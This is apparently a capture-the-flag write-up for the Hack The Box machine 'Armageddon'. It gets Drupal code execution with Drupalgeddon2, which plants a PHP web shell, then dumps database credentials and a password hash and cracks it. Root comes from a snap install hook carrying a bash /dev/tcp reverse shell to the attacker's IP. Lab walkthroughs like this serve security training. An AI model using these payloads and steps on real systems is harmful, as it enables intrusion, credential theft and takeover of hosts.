Armageddon is an easy Linux box released back in March 2021.
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
[ 10.10.14.49/23 ] [ /dev/pts/3 ] [~/HTB/Armagueddon]
→ nmap -sCV 10.129.48.89
[ 10.10.14.49/23 ] [ /dev/pts/3 ] [~/HTB/Armagueddon]
→ nmap -vvv -p- 10.129.48.89 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
Discovered open port 80/tcp on 10.129.48.89
Discovered open port 22/tcp on 10.129.48.89
[ 10.10.14.49/23 ] [ /dev/pts/3 ] [~/HTB/Armagueddon]
→ nmap -sCV -p 22,80 10.129.48.89
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-05 14:39 CEST
Nmap scan report for 10.129.48.89
Host is up (0.46s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
| 256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_ 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to Armageddon | Armageddon
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.34 seconds
Our nmap scan picked up port 80 so let's investigate it:
Just as like what we saw in our nmap scan results, this is a website running Drupal, and when we take a look at the page sourcecode we see get the confirmation that this is a Drupal 7 instance:
Now in order to exploit it we can use Drupalgeddon2
[ 10.10.14.49/23 ] [ /dev/pts/3 ] [~/HTB/Armagueddon]
→ git clone https://github.com/dreadlocked/Drupalgeddon2
Cloning into 'Drupalgeddon2'...
remote: Enumerating objects: 257, done.
remote: Counting objects: 100% (4/4), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 257 (delta 0), reused 0 (delta 0), pack-reused 253
Receiving objects: 100% (257/257), 102.12 KiB | 202.00 KiB/s, done.
Resolving deltas: 100% (88/88), done.
[ 10.10.14.49/23 ] [ /dev/pts/3 ] [~/HTB/Armagueddon]
→ cd Drupalgeddon2
[ 10.10.14.49/23 ] [ /dev/pts/3 ] [HTB/Armagueddon/Drupalgeddon2]
→ ls -l
total 44
-rwxr-xr-x 1 nothing nothing 7262 Aug 5 15:39 drupalgeddon2-customizable-beta.rb
-rwxr-xr-x 1 nothing nothing 22954 Aug 5 15:39 drupalgeddon2.rb
-rw-r--r-- 1 nothing nothing 11388 Aug 5 15:39 README.md
In order to run it we need the highline ruby gem:
[ 10.10.14.49/23 ] [ /dev/pts/3 ] [HTB/Armagueddon/Drupalgeddon2]
→ sudo gem install highline
[sudo] password for nothing:
Fetching highline-2.0.3.gem
Successfully installed highline-2.0.3
Parsing documentation for highline-2.0.3
Installing ri documentation for highline-2.0.3
Done installing documentation for highline after 2 seconds
1 gem installed
Once that's done we run it:
[ 10.10.14.49/23 ] [ /dev/pts/3 ] [HTB/Armagueddon/Drupalgeddon2]
→ ./drupalgeddon2.rb http://10.129.48.89
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://10.129.48.89/
--------------------------------------------------------------------------------
[+] Found : http://10.129.48.89/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal!: v7.56
--------------------------------------------------------------------------------
[*] Testing: Form (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Clean URLs
[!] Result : Clean URLs disabled (HTTP Response: 404)
[i] Isn't an issue for Drupal v7.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution (Method: name)
[i] Payload: echo UJNQTJEV
[+] Result : UJNQTJEV
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file (http://10.129.48.89/shell.php)
[i] Response: HTTP 404 // Size: 5
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake PHP shell: curl 'http://10.129.48.89/shell.php' -d 'c=hostname'
armageddon.htb>>
And it looks like we have a shell! however we see that it's not easy to navigate the system with it because of how limited it is:
armageddon.htb>> ls -lash
total 288K
4.0K drwxr-xr-x. 9 apache apache 4.0K Aug 5 14:41 .
0 drwxr-xr-x. 4 root root 33 Dec 3 2020 ..
4.0K -rw-r--r--. 1 apache apache 317 Jun 21 2017 .editorconfig
4.0K -rw-r--r--. 1 apache apache 174 Jun 21 2017 .gitignore
8.0K -rw-r--r--. 1 apache apache 6.0K Jun 21 2017 .htaccess
112K -rw-r--r--. 1 apache apache 109K Jun 21 2017 CHANGELOG.txt
4.0K -rw-r--r--. 1 apache apache 1.5K Jun 21 2017 COPYRIGHT.txt
4.0K -rw-r--r--. 1 apache apache 1.7K Jun 21 2017 INSTALL.mysql.txt
4.0K -rw-r--r--. 1 apache apache 1.9K Jun 21 2017 INSTALL.pgsql.txt
4.0K -rw-r--r--. 1 apache apache 1.3K Jun 21 2017 INSTALL.sqlite.txt
20K -rw-r--r--. 1 apache apache 18K Jun 21 2017 INSTALL.txt
20K -rw-r--r--. 1 apache apache 18K Nov 16 2016 LICENSE.txt
12K -rw-r--r--. 1 apache apache 8.6K Jun 21 2017 MAINTAINERS.txt
8.0K -rw-r--r--. 1 apache apache 5.3K Jun 21 2017 README.txt
12K -rw-r--r--. 1 apache apache 9.9K Jun 21 2017 UPGRADE.txt
8.0K -rw-r--r--. 1 apache apache 6.5K Jun 21 2017 authorize.php
4.0K -rw-r--r--. 1 apache apache 720 Jun 21 2017 cron.php
4.0K drwxr-xr-x. 4 apache apache 4.0K Jun 21 2017 includes
4.0K -rw-r--r--. 1 apache apache 529 Jun 21 2017 index.php
4.0K -rw-r--r--. 1 apache apache 703 Jun 21 2017 install.php
4.0K drwxr-xr-x. 4 apache apache 4.0K Dec 4 2020 misc
4.0K drwxr-xr-x. 42 apache apache 4.0K Jun 21 2017 modules
0 drwxr-xr-x. 5 apache apache 70 Jun 21 2017 profiles
4.0K -rw-r--r--. 1 apache apache 2.2K Jun 21 2017 robots.txt
0 drwxr-xr-x. 2 apache apache 261 Jun 21 2017 scripts
4.0K -rw-r--r--. 1 apache apache 75 Aug 5 14:41 shell.php
0 drwxr-xr-x. 4 apache apache 75 Jun 21 2017 sites
0 drwxr-xr-x. 7 apache apache 94 Jun 21 2017 themes
20K -rw-r--r--. 1 apache apache 20K Jun 21 2017 update.php
4.0K -rw-r--r--. 1 apache apache 2.2K Jun 21 2017 web.config
4.0K -rw-r--r--. 1 apache apache 417 Jun 21 2017 xmlrpc.php
armageddon.htb>> pwd
/var/www/html
armageddon.htb>> cd sites
armageddon.htb>> pwd
/var/www/html
armageddon.htb>> which cd
/usr/bin/cd
As you can see we can't use the cd command to change directories. But that's not an issue so we navigate to sites/default/settings.php
armageddon.htb>> cat sites/default/settings.php
<?php
[...]
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'CQHEy@9M*m23gBVj',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
[...]
?>
armageddon.htb>> cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash
now here we seem to have credentials for a mysql database, however the drupaluser doesn't appear in /etc/passwd, therefore we probably need to get password hashes from the database itself:
armageddon.htb>> mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'select name,pass from users;'
name pass
brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
now here we have a password hash, so let's crack it with john:
[ 10.10.14.34/23 ] [ /dev/pts/20 ] [~/HTB/Armageddon]
→ vim hash.txt
[ 10.10.14.34/23 ] [ /dev/pts/20 ] [~/HTB/Armageddon]
→ cat hash.txt
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
[ 10.10.14.34/23 ] [ /dev/pts/20 ] [~/HTB/Armageddon]
→ john hash.txt -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
booboo (?)
1g 0:00:00:00 DONE (2021-08-09 11:30) 2.439g/s 585.3p/s 585.3c/s 585.3C/s tiffany..chris
Use the "--show" option to display all of the cracked passwords reliably
Session completed
And we have brucetherealadmin's password! Now let's try to login via SSH:
[ 10.10.14.34/23 ] [ /dev/pts/20 ] [~/HTB/Armageddon]
→ ssh brucetherealadmin@10.129.48.89
The authenticity of host '10.129.48.89 (10.129.48.89)' can't be established.
ECDSA key fingerprint is SHA256:bC1R/FE5sI72ndY92lFyZQt4g1VJoSNKOeAkuuRr4Ao.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.48.89' (ECDSA) to the list of known hosts.
brucetherealadmin@10.129.48.89's password:
Last login: Tue Mar 23 12:40:36 2021 from 10.10.14.2
[brucetherealadmin@armageddon ~]$ id
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) groups=1000(brucetherealadmin) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[brucetherealadmin@armageddon ~]$ ls -lash
total 16K
0 drwx------. 2 brucetherealadmin brucetherealadmin 99 Dec 14 2020 .
0 drwxr-xr-x. 3 root root 31 Dec 3 2020 ..
0 lrwxrwxrwx. 1 root root 9 Dec 11 2020 .bash_history -> /dev/null
4.0K -rw-r--r--. 1 brucetherealadmin brucetherealadmin 18 Apr 1 2020 .bash_logout
4.0K -rw-r--r--. 1 brucetherealadmin brucetherealadmin 193 Apr 1 2020 .bash_profile
4.0K -rw-r--r--. 1 brucetherealadmin brucetherealadmin 231 Apr 1 2020 .bashrc
4.0K -r--------. 1 brucetherealadmin brucetherealadmin 33 Aug 9 10:03 user.txt
[brucetherealadmin@armageddon ~]$ cat user.txt
58XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it! We managed to login and get the user flag.
Now in order to get to the root flag. We first need to enumerate the box, to do so we can use linpeas.sh:
[terminal 1]
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Armageddon]
→ cp /home/nothing/HTB/Academy/linpeas.sh .
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Armageddon]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
[terminal 2]
[brucetherealadmin@armageddon ~]$ curl http://10.10.14.34:9090/linpeas.sh > /tmp/peas.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 333k 100 333k 0 0 120k 0 0:00:02 0:00:02 --:--:-- 120k
[brucetherealadmin@armageddon ~]$ chmod +x /tmp/peas.sh
[brucetherealadmin@armageddon ~]$ /tmp/peas.sh
Let it run, and then when we check the output we see the following:
Looks like we are able to run snap as the root user without any password, therefore let's use the gtfobin for snap:
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Armageddon]
→ sudo gem install fpm
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Armageddon]
→ COMMAND='bash -c "bash -i >& /dev/tcp/10.10.14.34/9001 0>&1"'
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Armageddon]
→ cd $(mktemp -d)
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg]
→ mkdir meta/hooks/ -p
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg]
→ printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg]
→ chmod +x meta/hooks/install
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg]
→ fpm -n privesc -s dir -t snap -a all meta
Created package {:path=>"privesc_1.0_all.snap"}
Now we upload the malicious privesc snap file to the machine and run it:
[term1]
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg]
→ ls -lash
total 16K
4.0K drwx------ 3 nothing nothing 4.0K Aug 9 12:40 .
4.0K drwxrwxrwt 23 root root 4.0K Aug 9 12:40 ..
4.0K drwxr-xr-x 3 nothing nothing 4.0K Aug 9 12:40 meta
4.0K -rw-r--r-- 1 nothing nothing 4.0K Aug 9 12:40 privesc_1.0_all.snap
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg]
→ md5sum privesc_1.0_all.snap
1159d305989905e39a5f9a8e63ba35ed privesc_1.0_all.snap
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
[term2]
[brucetherealadmin@armageddon ~]$ curl http://10.10.14.34:9090/privesc_1.0_all.snap > /tmp/privesc.snap
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 4096 100 4096 0 0 4446 0 --:--:-- --:--:-- --:--:-- 4452
[brucetherealadmin@armageddon ~]$ md5sum /tmp/privesc.snap
1159d305989905e39a5f9a8e63ba35ed /tmp/privesc.snap
both the file hashes match therefore the transfer was successful. Now let's run snap as the root user to make use of the snap package we created:
[term 1]
[brucetherealadmin@armageddon tmp]$ sudo snap install /tmp/privesc.snap --dangerous --devmode
Run install hook of "privesc" snap if present
[term 2]
[ 10.10.14.34/23 ] [ /dev/pts/7 ] [/tmp/tmp.uYjIjYciPg]
→ nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.48.89 57430
bash: cannot set terminal process group (18084): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.3# id
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0
bash-4.3# cat /root/root.txt
cat /root/root.txt
34XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it! We managed to get the root flag.
Here we can see the progress graph :